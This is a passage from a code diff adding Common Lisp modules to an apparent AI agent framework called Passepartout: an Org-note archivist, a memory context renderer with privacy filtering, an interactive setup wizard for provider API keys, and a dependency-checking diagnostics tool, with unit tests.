+                 current-lines nil
+                 current-tags nil
+                 in-properties nil))
+          ;; Content lines under current headline
+          (current-title
+           (unless (or (uiop:string-prefix-p "*" trimmed)
+                       (string= trimmed ":PROPERTIES:")
+                       (string= trimmed ":END:"))
+             (push line current-lines))))))
+    ;; Save last headline
+    (when current-title
+      (push (list :title current-title
+                  :content (format nil "~{~a~^~%~}" (nreverse current-lines))
+                  :tags current-tags)
+            results))
+    (nreverse results)))
+
+(defun archivist-headline-to-filename (title)
+  "Converts a headline title to a valid atomic note filename.
+Replaces spaces and special chars with underscores, downcases."
+  (let* ((clean (cl-ppcre:regex-replace-all "[^a-zA-Z0-9 ]" title ""))
+         (underscored (cl-ppcre:regex-replace-all "\\s+" clean "_"))
+         (lowered (string-downcase underscored)))
+    (if (> (length lowered) 100)
+        (subseq lowered 0 100)
+        lowered)))
+
+(defun archivist-create-note (headline notes-dir source-filepath)
+  "Creates an atomic note from a headline plist in the notes/ directory.
+Headline is a plist (:title <str> :content <str> :tags <list>).
+Returns T if note was created, nil if it already exists."
+  (let* ((title (getf headline :title))
+         (content (or (getf headline :content) ""))
+         (tags (getf headline :tags))
+         (filename (archivist-headline-to-filename title))
+         (filepath (merge-pathnames (format nil "~a.org" filename) notes-dir))
+         (source-basename (enough-namestring source-filepath
+                                             (merge-pathnames "" notes-dir))))
+    (when (uiop:file-exists-p filepath)
+      (return-from archivist-create-note nil))
+    (handler-case
+        (progn
+          (uiop:with-output-file (s filepath :if-exists nil)
+            (format s "#+TITLE: ~a~%" title)
+            (format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
+            (format s "~%* ~a~%" title)
+            (format s ":PROPERTIES:~%")
+            (format s ":CREATED: ~a~%" (org-id-generate))
+            (format s ":SOURCE: ~a~%" source-basename)
+            (format s ":END:~%")
+            (format s "~%~a~%" content)
+            (format s "~%* Backlinks~%")
+            (format s "- Source: [[file:~a][~a]]~%" source-basename
+                    (file-namestring source-filepath)))
+          (log-message "ARCHIVIST: Created note ~a" (namestring filepath))
+          t)
+      (error (c)
+        (log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
+        nil))))
+
+(defun archivist-gardener-scan ()
+  "Scans the Memex for broken file links and orphaned memory objects.
+Broken links are =[[file:...]]= references whose target file does not exist.
+Orphaned objects are =memory-object= entries whose =:parent-id= references
+a deleted object. Returns a plist (:broken-links <count> :orphans <count>)."
+  (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
+                        (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
+         (org-files (archivist-find-org-files memex-dir))
+         (broken-links 0)
+         (orphans 0))
+    ;; Scan for broken links
+    (dolist (file org-files)
+      (handler-case
+          (let* ((content (uiop:read-file-string file))
+                 (links (archivist-extract-file-links content)))
+            (dolist (link links)
+              (let ((target (merge-pathnames link (make-pathname :directory
+                                  (pathname-directory file)))))
+                (unless (uiop:file-exists-p target)
+                  (log-message "ARCHIVIST: Broken link in ~a -> ~a"
+                               (enough-namestring file memex-dir) link)
+                  (incf broken-links)))))
+        (error ()
+          (log-message "ARCHIVIST: Could not read ~a" file))))
+    ;; Scan for orphaned memory objects
+    (handler-case
+        (let ((deleted-ids (make-hash-table :test 'equal)))
+          ;; In practice, we check if parent-id points to a non-existent object
+          (maphash (lambda (id obj)
+                     (declare (ignore obj))
+                     (setf (gethash id deleted-ids) t))
+                   (if (boundp '*memory-store*)
+                       (symbol-value '*memory-store*)
+                       (make-hash-table :test 'equal)))
+          (let ((store (if (boundp '*memory-store*)
+                           (symbol-value '*memory-store*)
+                           (make-hash-table :test 'equal))))
+            (maphash (lambda (id obj)
+                       (let ((parent (memory-object-parent-id obj)))
+                         (when (and parent (not (gethash parent store)))
+                           (log-message "ARCHIVIST: Orphaned object ~a (parent ~a not found)"
+                                        id parent)
+                           (incf orphans))))
+                     store)))
+      (error ()
+        (log-message "ARCHIVIST: Memory store not available for orphan scan")))
+    (setf *archivist-last-gardener* (get-universal-time))
+    (list :broken-links broken-links :orphans orphans)))
+
+(defun archivist-find-org-files (memex-dir)
+  "Recursively finds all .org files under memex-dir, up to 3 levels deep."
+  (let ((files nil))
+    (labels ((walk (dir depth)
+               (when (and (uiop:directory-exists-p dir) (< depth 3))
+                 (handler-case
+                     (dolist (entry (uiop:subdirectories dir))
+                       (walk entry (1+ depth)))
+                   (error ()))
+                 (handler-case
+                     (dolist (file (uiop:directory-files dir "*.org"))
+                       (push (namestring file) files))
+                   (error ())))))
+      (walk memex-dir 0))
+    files))
+
+(defun archivist-extract-file-links (content)
+  "Extracts all =[[file:...]]= link targets from Org content.
+Returns a list of link target strings."
+  (let ((links nil))
+    (cl-ppcre:do-register-groups (target)
+        ("\\[\\[file:([^\\]]+)\\]\\[" content)
+      (unless (search "::" target)  ;; skip internal anchors
+        (pushnew target links :test #'string=)))
+    ;; Also handle bare [[file:target]] links
+    (cl-ppcre:do-register-groups (target)
+        ("\\[\\[file:([^\\]]+)\\]\\]" content)
+      (unless (search "::" target)
+        (pushnew target links :test #'string=)))
+    links))
+
+(defun archivist-run (action context)
+  "Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules
+and dispatches as needed. Called by the deterministic gate."
+  (declare (ignore action context))
+  (let ((now (get-universal-time)))
+    ;; Scribe runs every 6 hours (21600 seconds)
+    (when (>= (- now *archivist-last-scribe*) 21600)
+      (ignore-errors (archivist-scribe-distill)))
+    ;; Gardener runs every 24 hours
+    (when (>= (- now *archivist-last-gardener*) *archivist-gardener-interval*)
+      (ignore-errors
+        (let ((result (archivist-gardener-scan)))
+          (when (> (getf result :broken-links) 0)
+            (log-message "ARCHIVIST: Gardener found ~d broken links, ~d orphans"
+                         (getf result :broken-links) (getf result :orphans)))))))
+  nil)
+
+(defskill :passepartout-symbolic-archivist
+  :priority 100
+  :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
+  :deterministic #'archivist-run)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-symbolic-archivist-tests
+  (:use :cl :passepartout)
+  (:export #:archivist-suite))
+
+(in-package :passepartout-symbolic-archivist-tests)
+
+(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
+(fiveam:in-suite archivist-suite)
+
+(fiveam:test test-extract-headlines
+  "Contract 1: archivist-extract-headlines parses Org content."
+  (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
+         (headlines (archivist-extract-headlines content)))
+    (fiveam:is (listp headlines))
+    (fiveam:is (>= (length headlines) 1))))
+
+(fiveam:test test-headline-to-filename
+  "Contract 2: archivist-headline-to-filename sanitizes titles."
+  (let ((filename (archivist-headline-to-filename "My Project: Overview")))
+    (fiveam:is (search "my_project_overview" filename :test #'char-equal))
+    (fiveam:is (not (search ":" filename)))))
+
+(fiveam:test test-archivist-create-note
+  "Contract 3: archivist-create-note writes a Zettelkasten note to disk."
+  (let* ((tmp-dir "/tmp/passepartout-archivist-test/")
+         (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
+    (uiop:ensure-all-directories-exist (list tmp-dir))
+    (unwind-protect
+         (progn
+           (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
+               "Expected note creation to return T")
+           (fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
+               "Expected file test_note.org to exist"))
+      (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))

lisp/symbolic-awareness.lisp

@@ -0,0 +1,228 @@
+(in-package :passepartout)
+
+(defun context-query (&key tag todo-state type scope)
+  "Filters the Memory based on tags, todo states, or types.
+Optional SCOPE restricts results to objects with that scope
+or :memex (global scope always visible)."
+  (let ((results nil))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
+                 ;; Scope filter: if scope specified, only match :memex (global) or same scope
+                 (when (and scope (not (eq (memory-object-scope obj) :memex))
+                            (not (eq (memory-object-scope obj) scope)))
+                   (setf match nil))
+                 (when (and type (not (eq (memory-object-type obj) type))) (setf match nil))
+                 (when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
+                 (when (and todo-state (not (equal state todo-state))) (setf match nil))
+                 (when match (push obj results))))
+             *memory-store*)
+    results))
+
+(defun context-active-projects ()
+  "Returns headlines tagged as 'project' that are not yet marked DONE."
+  (remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE"))
+             (context-query :tag "project" :type :HEADLINE)))
+
+(defun context-recent-tasks () 
+  "Retrieves recently finished tasks from the store."
+  (context-query :todo-state "DONE" :type :HEADLINE))
+
+(defun context-skill-list ()
+  "Provides a sorted overview of currently loaded system capabilities."
+  (let ((results nil))
+    (maphash (lambda (name skill)
+               (declare (ignore name))
+               (push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
+             *skill-registry*)
+    (sort results #'> :key (lambda (x) (getf x :priority)))))
+
+(defun context-skill-source (skill-name)
+  "Reads the raw literate source of a specific skill for inspection."
+  (let* ((filename (format nil "~a.org" skill-name))
+         (data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
+         (org-dir (merge-pathnames "org/" data-dir))
+         (full-path (merge-pathnames filename org-dir)))
+     (if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
+
+(defun context-skill-subtree (skill-name heading-name)
+  "Reads a specific headline subtree from a skill's Org source file.
+Returns the content under HEADING-NAME (including children) as a string,
+or nil if the heading is not found."
+  (let ((full-source (context-skill-source skill-name)))
+    (unless full-source (return-from context-skill-subtree nil))
+    (if (fboundp 'org-subtree-extract)
+        (org-subtree-extract full-source heading-name)
+        ;; Fallback: no org-subtree-extract available, return full source
+        full-source)))
+
+(defun context-logs (&optional limit)
+  "Retrieves the most recent lines from the harness's internal log."
+  (let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
+    (bt:with-lock-held (*log-lock*)
+      (let ((count (min log-limit (length *log-buffer*)))) 
+        (subseq *log-buffer* 0 count)))))
+
+(defun context-get-system-logs (&optional limit)
+  "Backward-compatibility alias for context-logs."
+  (context-logs limit))
+
+(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
+  "Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
+  (let* ((id (memory-object-id obj))
+         (is-foveal (equal id foveal-id))
+         (title (or (getf (memory-object-attributes obj) :TITLE) "Untitled"))
+         (content (memory-object-content obj))
+         (children (memory-object-children obj))
+         (stars (make-string depth :initial-element #\*))
+         (obj-vector (memory-object-vector obj))
+         (threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
+         (similarity (if (and foveal-vector obj-vector (not is-foveal))
+                          (vector-cosine-similarity foveal-vector obj-vector)
+                         0.0))
+         (is-semantically-relevant (>= similarity threshold))
+         (should-render (or (<= depth 2) is-foveal is-semantically-relevant))
+         (output ""))
+    
+    (when should-render
+      (setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id))
+      (when is-semantically-relevant
+        (setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity))))
+      (setf output (concatenate 'string output (format nil ":END:~%")))
+      
+      (when (and content (or is-foveal is-semantically-relevant))
+        (setf output (concatenate 'string output content (string #\Newline))))
+      
+      (dolist (child-id children)
+        (let ((child-obj (memory-object-get child-id)))
+          (when child-obj
+            (let ((next-foveal (if is-foveal child-id foveal-id)))
+              (setf output (concatenate 'string output 
+                                        (context-object-render child-obj 
+                                                               :depth (1+ depth) 
+                                                               :foveal-id next-foveal
+                                                               :semantic-threshold threshold
+                                                               :foveal-vector foveal-vector))))))))
+    output))
+
+(defun context-path-resolve (path-string)
+  "Expands environment variables and strips literal quotes from a path string."
+  (let ((path (if (stringp path-string) 
+                  (string-trim '(#\" #\' #\Space) path-string)
+                  path-string)))
+    (if (and (stringp path) (search "$" path))
+        (let ((result path))
+          (ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path)
+            (let ((var-val (uiop:getenv var-name)))
+              (when var-val
+                (setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val)))))
+          result)
+        path)))
+
+(defun context-privacy-filtered-p (obj)
+  "Returns T if an org-object's :TAGS attribute matches the Dispatcher's privacy tags."
+  (let* ((attrs (memory-object-attributes obj))
+         (tags (getf attrs :TAGS))
+         (privacy-tags (and (find-package :passepartout.security-dispatcher)
+                            (symbol-value
+                             (find-symbol "*DISPATCHER-PRIVACY-TAGS*"
+                                          :passepartout.security-dispatcher)))))
+    (when (and tags privacy-tags)
+      (let ((tag-list (if (listp tags) tags (list tags))))
+        (some (lambda (tag)
+                (some (lambda (private)
+                        (string-equal (string-trim '(#\:) tag)
+                                      (string-trim '(#\:) private)))
+                      privacy-tags))
+              tag-list)))))
+
+(defun context-awareness-assemble (&optional signal)
+  "Produces a high-level skeletal outline of the current Memory for the LLM.
+Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded."
+  (let* ((foveal-id (or (getf signal :foveal-focus) 
+                         (ignore-errors (getf (getf signal :payload) :target-id))))
+         (foveal-vector (when foveal-id
+                          (memory-object-vector (memory-object-get foveal-id))))
+         (all-projects (context-active-projects))
+         (projects (remove-if #'context-privacy-filtered-p all-projects))
+         (output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%")))
+    (if projects
+        (dolist (project projects)
+          (setf output (concatenate 'string output
+                                    (context-object-render project :foveal-id foveal-id :foveal-vector foveal-vector))))
+          (setf output (concatenate 'string output "No active projects found.~%")))
+    output))
+
+(defun context-assemble-global-awareness ()
+  (context-awareness-assemble))
+
+(defskill :passepartout-symbolic-awareness
+  :priority 50
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-peripheral-vision-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:vision-suite))
+(in-package :passepartout-peripheral-vision-tests)
+
+(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
+(in-suite vision-suite)
+
+(test test-foveal-rendering
+  "Contract 1: foveal content inline, peripheral content title-only."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
+                :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
+                             :raw-content "FOVEAL CONTENT" :contents nil)
+                            (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
+                             :raw-content "PERIPHERAL CONTENT" :contents nil)))))
+    (ingest-ast ast)
+    (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
+      (is (search "FOVEAL CONTENT" output))
+      (is (search "* Peripheral Node" output))
+      (is (not (search "PERIPHERAL CONTENT" output))))))
+
+(test test-awareness-budget
+  "Contract 1: all active projects appear in awareness output."
+  (clrhash passepartout::*memory-store*)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
+  (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
+  (let ((output (context-awareness-assemble)))
+    (is (search "Project 1" output))
+    (is (search "Project 2" output))))
+
+(test test-context-empty-memory
+  "Contract 1: empty memory produces clean output without error."
+  (clrhash passepartout::*memory-store*)
+  (let ((output (context-awareness-assemble)))
+    (is (stringp output))
+    (is (search "MEMEX" output :test #'char-equal))))
+
+(test test-context-no-foveal-focus
+  "Contract 2: without foveal focus, no inline content appears."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
+                :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
+                             :raw-content "CHILD CONTENT" :contents nil)))))
+    (ingest-ast ast)
+    (let ((output (context-awareness-assemble nil)))
+      (is (stringp output))
+      (is (not (search "CHILD CONTENT" output))))))
+
+(test test-semantic-retrieval-trigram
+  "Contract v0.4.0: trigram backend produces non-zero similarity for related content."
+  (let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
+        (v2 (passepartout::embedding-backend-trigram "add password authentication")))
+    (let ((sim (passepartout::vector-cosine-similarity v1 v2)))
+      (is (> sim 0.0))))
+  (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
+        (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
+    (let ((sim (passepartout::vector-cosine-similarity v3 v4)))
+      (is (> sim 0.75))))
+  (let ((v5 (passepartout::embedding-backend-trigram "authentication"))
+        (v6 (passepartout::embedding-backend-trigram "banana")))
+    (let ((sim (passepartout::vector-cosine-similarity v5 v6)))
+      (is (< sim 0.3)))))

lisp/symbolic-config.lisp

@@ -0,0 +1,274 @@
+(defun config-directory ()
+  "Returns the absolute path to the opencortex config directory."
+  (let ((xdg (uiop:getenv "OC_CONFIG_DIR")))
+    (if xdg xdg (namestring (merge-pathnames ".config/passepartout/" (user-homedir-pathname))))))
+
+(defun config-file-path ()
+  "Returns the path to the .env configuration file."
+  (merge-pathnames ".env" (config-directory)))
+
+(defun config-directory-ensure ()
+  "Creates the configuration directory if it does not exist."
+  (ensure-directories-exist (config-directory)))
+
+(defun config-read ()
+  "Reads the .env config file and returns an alist of KEY=VALUE pairs."
+  (let ((config-file (config-file-path)))
+    (when (uiop:file-exists-p config-file)
+      (let ((lines (uiop:read-file-lines config-file))
+            (result nil))
+        (dolist (line lines)
+          (when (and line (> (length line) 0)
+                     (not (uiop:string-prefix-p "#" line)))
+            (let ((eq-pos (position #\= line)))
+              (when eq-pos
+                (let ((key (string-trim " " (subseq line 0 eq-pos)))
+                      (value (string-trim " " (subseq line (1+ eq-pos)))))
+                  (push (cons key value) result))))))
+        (nreverse result)))))
+
+(defun config-write (config-alist)
+  "Writes the config alist to the .env file."
+  (config-directory-ensure)
+  (let ((config-file (config-file-path)))
+    (with-open-file (stream config-file :direction :output :if-exists :supersede :if-does-not-exist :create)
+      (format stream "# Passepartout Configuration~%")
+      (format stream "# Generated by opencortex setup~%~%")
+      (dolist (pair config-alist)
+        (format stream "~a=~a~%" (car pair) (cdr pair))))))
+
+(defun config-get (key)
+  "Gets a config value by key."
+  (let ((config (config-read)))
+    (cdr (assoc key config :test #'string=))))
+
+(defun config-set (key value)
+  "Sets a config value and saves to file."
+  (let ((config (config-read))
+        (pair (cons key value)))
+    (let ((existing (assoc key config :test #'string=)))
+      (if existing
+          (setf (cdr existing) value)
+          (push pair config))
+      (config-write config))))
+
+(defun prompt (prompt-text)
+  "Simple prompt that returns user input as a string.
+Returns nil if stdin is non-interactive."
+  (format t "~a" prompt-text)
+  (finish-output)
+  (ignore-errors (read-line)))
+
+(defun prompt-yes-no (prompt-text)
+  "Prompts yes/no question. Returns T for yes, nil for no."
+  (let ((response (prompt (format nil "~a [Y/n]: " prompt-text))))
+    (or (string= response "")
+        (string-equal response "Y")
+        (string-equal response "y")
+        (string-equal response "yes"))))
+
+(defun prompt-choice (prompt-text options)
+  "Prompts user to choose from a list of options. Returns the chosen option or nil."
+  (format t "~a~%" prompt-text)
+  (let ((i 1))
+    (dolist (opt options)
+      (format t "  ~a) ~a~%" i opt)
+      (incf i)))
+  (let ((response (prompt "Choice")))
+    (let ((num (ignore-errors (parse-integer response))))
+      (when (and num (<= 1 num) (>= (length options) num))
+        (nth (1- num) options)))))
+
+(defparameter *available-providers*
+  '(("OpenAI" . "OPENAI_API_KEY")
+    ("Anthropic" . "ANTHROPIC_API_KEY")
+    ("OpenRouter" . "OPENROUTER_API_KEY")
+    ("Groq" . "GROQ_API_KEY")
+    ("Gemini" . "GEMINI_API_KEY")
+    ("DeepSeek" . "DEEPSEEK_API_KEY")
+    ("NVIDIA" . "NVIDIA_API_KEY")
+    ("Local" . "LOCAL_BASE_URL")))
+
+(defun setup-llm-providers ()
+  "Interactive wizard for configuring LLM providers."
+  (format t "~%~%")
+  (format t "==================================================~%")
+  (format t " LLM Provider Configuration~%")
+  (format t "==================================================~%~%")
+  
+  (let ((current-providers (loop for (name . key) in *available-providers*
+                                when (config-get key)
+                                collect name)))
+    (when current-providers
+      (format t "Currently configured: ~{~a~^, ~}~%~%" current-providers))
+    
+    (format t "~%")
+    (format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%")
+    (format t "  Sign up at https://openrouter.ai and paste your API key below.~%")
+    (format t "~%")
+    (format t "Available providers:~%")
+    (format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes")
+    (format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----")
+    (dolist (p *available-providers*)
+      (let ((name (car p))
+            (env-key (cdr p))
+            (desc (case (car p)
+                    ("OpenRouter" "free tier, 33+ models")
+                    ("OpenAI" "paid, gpt-4o-mini")
+                    ("Anthropic" "paid, Claude 3.5 Sonnet")
+                    ("Groq" "fast inference, free tier")
+                    ("Gemini" "free via API")
+                    ("DeepSeek" "competitive pricing, coding")
+                    ("NVIDIA" "NVIDIA NIM hosted models")
+                    ("Local" "local server, no API key")
+                    (t ""))))
+        (format t " ~20@A ~25@A ~a~%" name env-key desc)))
+    (format t "~%")
+    
+    (loop
+      (when (not (prompt-yes-no "Configure a LLM provider?"))
+        (return))
+      (let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*))))
+        (unless chosen
+          (format t "Invalid choice.~%")
+          (return))
+        (let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
+          (cond
+            ((string= chosen "Local")
+             (format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%")
+             (format t "  or http://localhost:8080 for llama.cpp): ")
+             (let ((url (read-line)))
+               (if (> (length url) 0)
+                   (progn (config-set env-key url)
+                          (format t "✓ ~a configured at ~a~%" chosen url))
+                   (format t "Skipping ~a — no URL entered.~%" chosen))))
+            (t
+             (format t "Enter API key for ~a~%" chosen)
+             (format t "  (get one from the provider's website, paste it here): ")
+             (let ((key (read-line)))
+               (if (> (length key) 0)
+                   (progn (config-set env-key key)
+                          (format t "✓ ~a API key saved~%" chosen))
+                    (format t "Skipping ~a — no key entered.~%" chosen))))))))
+
+  (format t "~%")))
+
+(defun setup-add-provider ()
+  "Entry point for adding a single provider (called from CLI)."
+  (setup-llm-providers))
+
+(defun setup-gateways ()
+  "Interactive wizard for configuring external gateways."
+  (format t "~%~%")
+  (format t "==================================================~%")
+  (format t " Gateway Configuration~%")
+  (format t "==================================================~%~%")
+  
+  (format t "Available gateways:~%")
+  (format t "  - Slack (https://api.slack.com/)~%")
+  (format t "  - Discord (https://discord.com/developers/)~%")
+  (format t "~%")
+  
+  (when (prompt-yes-no "Configure a gateway?")
+    (let ((chosen (prompt-choice "Select platform:" '("Slack" "Discord"))))
+      (when chosen
+        (let ((token (prompt (format nil "Enter ~a bot token: " chosen))))
+          (if (string= chosen "Slack")
+              (config-set "SLACK_TOKEN" token)
+              (config-set "DISCORD_TOKEN" token))
+          (format t "✓ ~a gateway configured~%" chosen)))))
+  
+  (format t "~%"))
+
+(defun setup-skills ()
+  "Interactive wizard for enabling/disabling skills."
+  (format t "~%~%")
+  (format t "==================================================~%")
+  (format t " Skill Management~%")
+  (format t "==================================================~%~%")
+  
+  (format t "Note: Skill management is not yet implemented.~%")
+  (format t "Skills are automatically loaded from ~a~%" (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") "~/.local/share/passepartout"))
+  (format t "~%"))
+
+(defun setup-memory ()
+  "Interactive wizard for memory settings."
+  (format t "~%~%")
+  (format t "==================================================~%")
+  (format t " Memory Settings~%")
+  (format t "==================================================~%~%")
+  
+  (let ((auto-save (prompt "Auto-save interval in seconds [300]:")))
+    (when (and auto-save (> (length auto-save) 0))
+      (config-set "MEMORY_AUTO_SAVE_INTERVAL" auto-save)))
+  
+  (let ((history (prompt "History retention in lines [1000]:")))
+    (when (and history (> (length history) 0))
+      (config-set "MEMORY_HISTORY_RETENTION" history)))
+  
+  (format t "✓ Memory settings saved~%")
+  (format t "~%"))
+
+(defun setup-network ()
+  "Interactive wizard for network settings."
+  (format t "~%~%")
+  (format t "==================================================~%")
+  (format t " Network Settings~%")
+  (format t "==================================================~%~%")
+  
+  (let ((timeout (prompt "Request timeout in seconds [30]:")))
+    (when (and timeout (> (length timeout) 0))
+      (config-set "REQUEST_TIMEOUT" timeout)))
+  
+  (let ((proxy (prompt "Proxy URL (leave empty for none) []:")))
+    (when (and proxy (> (length proxy) 0))
+      (config-set "HTTP_PROXY" proxy)))
+  
+  (format t "✓ Network settings saved~%")
+  (format t "~%"))
+
+(defun setup-wizard-run ()
+  "Main entry point for the interactive setup wizard."
+  (format t "~%~%")
+  (format t "╔═══════════════════════════════════════════════════╗~%")
+  (format t "║         Passepartout Setup Wizard                   ║~%")
+  (format t "╚═══════════════════════════════════════════════════╝~%")
+  (format t "~%")
+  (format t "This wizard will help you configure:~%")
+  (format t "  1. LLM Providers (OpenAI, Anthropic, etc.)~%")
+  (format t "  2. Gateway Links (Slack, Discord)~%")
+  (format t "  3. Memory Settings~%")
+  (format t "  4. Network Settings~%")
+  (format t "~%")
+  
+  (config-directory-ensure)
+  
+  ;; Step 1: LLM Providers
+  (when (prompt-yes-no "Configure LLM providers?")
+    (setup-llm-providers))
+  
+  ;; Step 2: Gateways
+  (when (prompt-yes-no "Configure gateways?")
+    (setup-gateways))
+  
+  ;; Step 3: Memory
+  (when (prompt-yes-no "Configure memory settings?")
+    (setup-memory))
+  
+  ;; Step 4: Network
+  (when (prompt-yes-no "Configure network settings?")
+    (setup-network))
+  
+  ;; Summary
+  (format t "==================================================~%")
+  (format t " Setup Complete!~%")
+  (format t "==================================================~%")
+  (format t "~%")
+  (format t "Configuration saved to: ~a~%" (config-file-path))
+  (format t "~%")
+  (format t "To verify your setup, run: passepartout doctor~%")
+  (format t "~%"))
+
+(defskill :passepartout-symbolic-config
+  :priority 100
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))

lisp/symbolic-diagnostics.lisp

@@ -0,0 +1,210 @@
+(in-package :passepartout)
+
+(defvar *diagnostics-binaries* '("sbcl" "emacs" "git")
+  "List of external binaries required for full system operation.")
+
+(defvar *diagnostics-package-map*
+  '(("sbcl" . "sbcl")
+    ("emacs" . "emacs")
+    ("git" . "git")
+    ("curl" . "curl")
+    ("rlwrap" . "rlwrap"))
+  "Map binary names to apt package names.")
+
+(defvar *doctor-missing-deps* nil
+  "List of missing dependencies populated by diagnostics-dependencies-check.")
+
+(defvar *doctor-auto-install* t
+  "When T, doctor will attempt to install missing dependencies automatically.")
+
+(defun diagnostics-dependencies-check ()
+  "Verifies that required external binaries are available in the PATH via shell probe."
+  (setf *doctor-missing-deps* nil)
+  (let ((all-ok t))
+    (format t "DOCTOR: Checking system dependencies...~%")
+    (dolist (dep *diagnostics-binaries*)
+      (let ((path (ignore-errors
+                    (uiop:run-program (list "which" dep)
+                                      :output :string :ignore-error-status t))))
+        (if (and path (> (length path) 0))
+            (format t "  [OK] Found ~a~%" dep)
+            (progn
+              (format t "  [FAIL] Missing binary: ~a~%" dep)
+              (push dep *doctor-missing-deps*)
+              (setf all-ok nil)))))
+    (when (and all-ok (null *doctor-missing-deps*))
+      (format t "DOCTOR: All dependencies satisfied.~%"))
+    all-ok))
+
+(defun diagnostics-dependencies-install ()
+  "Attempts to install missing system dependencies via apt."
+  (when (null *doctor-missing-deps*)
+    (format t "DOCTOR: No missing dependencies to install.~%")
+    (return-from diagnostics-dependencies-install t))
+
+  (format t "DOCTOR: Attempting to install ~a missing dependencies...~%" (length *doctor-missing-deps*))
+
+  (let ((packages (remove-duplicates
+                   (mapcar (lambda (dep)
+                             (or (cdr (assoc dep *diagnostics-package-map* :test #'string=))
+                                 dep))
+                           *doctor-missing-deps*)
+                   :test #'string=)))
+    (format t "DOCTOR: Packages to install: ~a~%" packages)
+
+    (let ((cmd (format nil "apt-get install -y ~{~a~^ ~}" packages)))
+      (format t "DOCTOR: Running: ~a~%" cmd)
+      (handler-case
+          (let ((output (uiop:run-program cmd
+                                           :output :string
+                                           :error-output :string
+                                           :external-format :utf-8)))
+            (if (zerop (uiop:run-program (format nil "which ~a" (car *doctor-missing-deps*))
+                                          :ignore-error-status t))
+                (progn
+                  (format t "DOCTOR: Dependencies installed successfully.~%")
+                  (setf *doctor-missing-deps* nil)
+                  t)
+                (progn
+                  (format t "DOCTOR: Installation failed. Output: ~a~%" output)
+                  nil)))
+        (error (c)
+          (format t "DOCTOR: Installation error: ~a~%" c)
+          nil)))))
+
+(defun diagnostics-env-check ()
+  "Validates XDG directories and environment configuration."
+  (format t "DOCTOR: Checking XDG environment...~%")
+  (let ((all-ok t)
+        (config-dir (uiop:getenv "PASSEPARTOUT_CONFIG_DIR"))
+        (data-dir (uiop:getenv "PASSEPARTOUT_DATA_DIR"))
+        (state-dir (uiop:getenv "PASSEPARTOUT_STATE_DIR"))
+        (memex-dir (uiop:getenv "MEMEX_DIR")))
+
+    (flet ((check-dir (name path critical)
+             (if (and path (> (length path) 0))
+                 (if (uiop:directory-exists-p path)
+                     (format t "  [OK] ~a: ~a~%" name path)
+                     (progn
+                       (format t "  [FAIL] ~a directory missing: ~a~%" name path)
+                       (when critical (setf all-ok nil))))
+                 (progn
